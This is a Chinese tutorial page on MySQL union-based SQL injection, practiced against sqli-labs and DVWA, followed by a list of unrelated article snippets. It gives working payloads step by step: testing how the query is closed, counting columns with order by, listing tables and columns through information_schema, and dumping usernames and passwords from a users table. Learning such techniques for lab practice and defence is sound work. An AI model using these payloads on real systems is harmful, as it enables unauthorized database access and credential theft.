当前位置: 首页 > news >正文

sql注入之union联合注入

一、Union注入

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。列数相同

union 特性是显示两张表 我们就可以吧第一个参数变为------负--的 或者不存在的值 就行了 显示就是以第二张表为主

二、判断闭合方式

1、如果都报错,则为整形闭合。

2、如果单引号报错,双引号不报错。然后尝试?id=1 –– 无报错则单引号闭合。报错则单引号加括号。

3、如果单引号不报错,双引号报错。然后尝试?id=1"––无报错则双引号闭合。报错则双引号加括号。

4、判断真值的方法是指通过构造一个条件语句,利用应用程序返回的结果来判断闭合方式

如果是没有报错回显的情况,则可以用判断真值的方法来判断闭合方式。

例如:输入index.php?id=1',页面显示错误

再输入index.php?id=1' --+,页面显示正确
sqli labs 是双引号闭合

dvwa 是单引号闭合

三、以MySQL注入为例

1、在参数后添加引号尝试报错,并用and 1=1#and 1=2#测试报错

?id=1' and 1=1#		页面返回正常
?id=1' and 1=2#		页面返回不正常

2、利用order by猜测字段

使用语句 order by 确定当前表的字符数。
order by 1 如果页面返回正常,字段数不少于1。
order by 2 如果页面返回正常,字段数不少于2。
如此类推,直到页面出错,正确的字段数是出错数字减1。
公式 order by n-1
1' order by 1--空格 正常
1' order by 2--空格 正常
1' order by 3--空格 出错

3、利用union联合查询

-1' union select 1,2--+		--看哪个字段可以显示信息,利用它获取数据库信息
--修改id为一个不存在的id,强行报错
--因为代码默认只返回第一条结果,不会返回 union select 的结果

4、获取数据库信息

-1' union select 1,version()--+user()		--获取数据库用户名
database()	--获取数据库名
version()	--获取数据库版本信息--其它信息
@@datadir				--数据库路径
@@version_compile_os	--操作系统版本

5、查询数据库的表

id=-1%27 union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+--table_schema=数据库名16进制或者用单引号括起来
--改变limit 0,1中前一个参数,得到所有表

6、查询数据库字段

同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS,这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。获取 users 表第一个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1)--+获取 users 表第二个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1)--+获取 users 表第三个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)--+

7、脱库,获取数据

通过以上的黑盒查询,获取库名、表名、字段,那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+

相关文章:

sql注入之union联合注入

一、Union注入 联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。列数相同 union 特性是显示两张表 我们就可以吧第一个参数变为------负--的 或者不存在的值 就行了 显示就…...

activiti解决实现ExecutionListener spring 自动注入@Autowired为null问题

在 Activiti 中,当使用 ExecutionListener 时,Spring 的自动注入机制(例如 Autowired)可能无法正常工作。这是因为 ExecutionListener 是由 Activiti 管理的,并不是由 Spring 管理的,所以无法通过 Autowire…...

【Lazy ORM 整合druid 实现mysql监控】

Lazy ORM 整合druid 实现mysql监控 JDK 17 Lazy ORM框架地址 up、up欢迎start、issues 当前项目案例地址 框架版本描述spring-boot3.0.7springboot框架wu-framework-web1.2.2-JDK17-SNAPSHOTweb容器Lazy -ORM1.2.2-JDK17-SNAPSHOTORMmysql-connector-j8.0.33mysql驱动druid-…...

【Deeplabv3+】Ubutu18.04中使用pytorch复现Deeplabv3+第三步)-----CityscapesScripts生成自己的标签

本文是在前面两篇文章的基础上,讲解如何更改训练数据集颜色,需要与前面两篇文章连起来看。 本文用于修改cityscapes数据集的标签颜色与Semankitti数据集的标签一致,对修改后的数据集进行训练。需要下载两个开发工具包和一个数据集&#xff0…...

《动手学深度学习(PyTorch版)》笔记3.3

注:书中对代码的讲解并不详细,本文对很多细节做了详细注释。另外,书上的源代码是在Jupyter Notebook上运行的,较为分散,本文将代码集中起来,并加以完善,全部用vscode在python 3.9.18下测试通过。…...

OpenGL ES 渲染 NV21、NV12 格式图像有哪些“姿势”?

使用2个纹理实现 NV21 格式图像渲染 前文提到渲染 NV21 格式图像需要使用 2 个纹理,分别用于保存 Y plane 和 UV plane 的数据,然后在片段着色器中分别对 2 个纹理进行采样,转换成 RGB 数据。 OpenGLES 渲染 NV21或 NV12 格式图像需要用到 GL_LUMINANCE 和 GL_LUMINANCE_A…...

P8813 [CSP-J 2022] 乘方 题解

目录 题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 样例 #2样例输入 #2样例输出 #2 提示题目简化题目思路AC 代码 观前提示,此题解解法非正解,仅仅是卡过数据才 A C AC AC 的。正解请参考他人博客。 题目描述 小文同学刚刚接触了信息学竞赛…...

Ubuntu 常用命令、docker 常用命令、unzip常用命令、tar常用命令

ubuntu 常用命令&#xff1a; 进入管理员模式&#xff1a; sudo su退出管理员模式&#xff1a; su <用户名>重启系统&#xff1a; rebootubuntu 复制文件夹下文件到其他文件夹下 cp -r source_folder/* destination_folder/删除文件夹下内容而不删除自身(进入到目录…...

保护医疗数据不受威胁:MPLS专线在医疗网络安全中的角色

随着数字技术的快速发展&#xff0c;医疗行业正在经历一场革命。从电子健康记录到远程医疗服务&#xff0c;数字化不仅提高了效率&#xff0c;也带来了前所未有的挑战--尤其是关于数据安全和隐私保护的挑战。在这样的背景下&#xff0c;如何确保敏感的医疗数据安全传输&#xf…...

Java面试题夺命连环问

如何实现一个ioc容器 配置文件配置包扫码路径递归包扫描获取.class文件反射确定需要 交给IOC管理的类对需要注入的类进行依赖注入 配置文件中指定需要扫描的包路径 定义一些注解&#xff0c;分别表示访问控制层&#xff0c;业务服务层&#xff0c;数据持久层&#xff0c;依赖…...

华为策略路由+NQA配置

---NQA--- [RouterA] nqa test-instance admin NQA [RouterA-nqa-admin-vlan10] test-type icmp [RouterA-nqa-admin-vlan10] destination-address ipv4 对方地址 [RouterA-nqa-admin-vlan10] frequency 10 [RouterA-nqa-admin-vlan10] probe-count 2 [RouterA-nqa-admin-vlan…...

逆置字符串

将字符串逆序,比如输入abcd,返回dcba void reverse(char*left,char *right) { while (right>left) { char temp *left; *left *right; *right temp; right--; left; } } int main() { char arr[100] { 0 };//定义…...

第九节HarmonyOS 常用基础组件14-DataPanel

1、描述 数据面板组件&#xff0c;用于将多个数据占比情况使用占比图进行展示。 2、接口 DataPanel(options:{values: number[], max?: numner, type?: DataPanelType}) 3、参数 参数名 参数类型 必填 描述 values number[] 是 数据值列表&#xff0c;最多含9条数…...

Vue开发之proxy代理的配置(附带uniapp代理配置)

vue 1.在vue.config.js中添加 devServer 属性中配置 proxy 属性 module.exports {productionSourceMap: false,publicPath: /,devServer: {port: 8085,proxy: {/api/admin: {target: http://10.58.104.70:6111,changeOrigin: true,pathRewrite: {/api/: /}},/api: {target: …...

【数据分享】2023年我国省市县三级的公司企业数量(21类公司企业/Excel/Shp格式)

医药公司、建筑公司、电信公司等公司企业的数量是一个城市生命力的重要体现&#xff0c;一个城市的公司企业种类越丰富&#xff0c;数量越多&#xff0c;通常能表示这个城市的生命力越旺盛&#xff01; 本次我们为大家带来的是我国各省份、各地级市、各区县三个层级的公司企业…...

6JS对象

6.1对象简介 对象是JavaScript的基本数据类型。对象是一种复合值&#xff1a;它将很多值&#xff08;原始值或者其他对象&#xff09;聚合在一起&#xff0c;可通过名字访问这些值。对象也可看做是属性的无序集合&#xff0c;每个属性都是一个名/值对。属性名是字符串&#xf…...

粒子群算法求解港口泊位调度问题(MATLAB代码)

粒子群算法&#xff08;Particle Swarm Optimization&#xff0c;PSO&#xff09;是一种基于群体智能的优化算法&#xff0c;它通过模拟鸟群或鱼群的行为来寻找最优解。在泊位调度问题中&#xff0c;目标是最小化所有船只在港时间的总和&#xff0c;而PSO算法可以帮助我们找到一…...

idea控制台出现乱码的解决方案

概述&#xff1a;有时候控制台的关键说明出现乱码&#xff0c;就很令人烦恼 在 IntelliJ IDEA 中出现控制台乱码通常是由于编码设置不正确或者字体显示问题导致的。以下是一些可能的解决方案&#xff1a; 1. 设置项目编码 确保你的项目编码设置正确&#xff1a; 在 Intelli…...

R语言【taxlist】——summary(),show(),print():打印taxlist对象及其内容的概述

Package taxlist version 0.2.4 Description 一种方法&#xff0c;用于显示 taxlist 对象内容的概述或所选分类组的概述。 Usage ## S4 method for signature taxlist summary(object,ConceptID,units "Kb",check_validity TRUE,display "both",maxs…...

【深度学习】sdxl中的 text_encoder text_encoder_2 区别

镜像问题是&#xff1a;https://editor.csdn.net/md/?articleId135867689 代码仓库&#xff1a; https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/tree/main 截图&#xff1a; 为什么有两个CLIP编码器 text_encoder 和 text_encoder_2 &#xff1f; 在…...

2025届毕业生推荐的AI科研平台推荐榜单

Ai论文网站排名&#xff08;开题报告、文献综述、降aigc率、降重综合对比&#xff09; TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 使AIGC检测率得以降低的关键所在是去削弱文本具备的规律性以及模式化特性。具体的策略涵盖这…...

C语言指针核心概念与安全实践指南

1. 指针变量基础概念解析指针是C语言中最强大也最容易让人困惑的特性之一。理解指针的关键在于区分指针变量本身和它所指向的内存空间。让我们从一个简单的例子开始&#xff1a;int a 42; int *ptr &a;这里&#xff0c;ptr是一个指针变量&#xff0c;它存储的是变量a的地…...

解锁学术新境界:书匠策AI——你的期刊论文智能导航员

在学术探索的浩瀚海洋中&#xff0c;每一位研究者都渴望拥有一盏明灯&#xff0c;照亮前行的道路&#xff0c;让复杂的论文写作之旅变得轻松而高效。今天&#xff0c;就让我们一同揭开书匠策AI的神秘面纱&#xff0c;探索它如何成为你撰写期刊论文时的得力助手与智能导航员。&a…...

三维空间频谱时序预测模型开发完整报告

三维空间频谱时序预测模型开发完整报告 一、项目背景与目标 本项目基于UrbanRadio3D静态数据集,构建端到端的深度学习模型,实现对低空三维空间频谱(路径损耗)的时序演化预测。城市环境中的无线电传播受建筑物遮挡、反射等因素影响,呈现出复杂的空间分布和时间动态特性(…...

如何让老旧苹果电脑重获新生:OpenCore Legacy Patcher完全指南

如何让老旧苹果电脑重获新生&#xff1a;OpenCore Legacy Patcher完全指南 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 你的2008-2017年老款Mac是否因为苹…...

MouseClick:解放双手的跨平台鼠标自动化神器,告别重复点击的烦恼

MouseClick&#xff1a;解放双手的跨平台鼠标自动化神器&#xff0c;告别重复点击的烦恼 【免费下载链接】MouseClick &#x1f5b1;️ MouseClick &#x1f5b1;️ 是一款功能强大的鼠标连点器和管理工具&#xff0c;采用 QT Widget 开发 &#xff0c;具备跨平台兼容性 。软件…...

假期出行指南——住酒店如何避开“系统卡顿”与“隐私漏洞”?

清明假期将至&#xff0c;无论是回家扫墓还是踏春出游&#xff0c;酒店入住体验直接决定了假期的幸福感。然而&#xff0c;不少旅客却在酒店客房里遇到了“糟心事”&#xff1a;电视系统卡顿像幻灯片、想投屏却连不上。作为专业的酒店IPTV数字电视系统厂家&#xff0c;辉视深知…...

小白快速进阶- AI辅助编码

AI辅助编码不再仅仅局限于自动补全。它正发展成为一个完整的生命周期——从规划、构建到审查。开发者不再只是编写代码&#xff0c;他们还在协调由代理组成的系统&#xff0c;这些代理负责生成、测试和优化代码。这种转变的重点从“更快地编写代码”转向“构建并交付端到端的系…...

为什么99%的视频系统都是假的?——没有空间数据的视频,只是一个会动的PPT

一、开头&#xff1a;你看到的“监控”&#xff0c;其实什么都没看见你有没有这种感觉&#xff1a;城市里到处都是摄像头 监控系统越来越多 画面越来越清晰&#xff08;甚至4K、8K&#xff09;但一旦真的发生事情&#xff1a;&#x1f449; 找不到人 &#x1f449; 跟不上路径 …...

SEO_避开这些SEO误区,让你的优化工作事半功倍(287 )

SEO误区一&#xff1a;关键词堆砌 在SEO优化中&#xff0c;关键词的使用是非常重要的&#xff0c;但是不少人在操作时会犯一个非常严重的错误&#xff0c;那就是关键词堆砌。关键词堆砌不仅让内容显得冗长无味&#xff0c;更容易让搜索引擎怀疑你在进行黑帽SEO&#xff0c;从而…...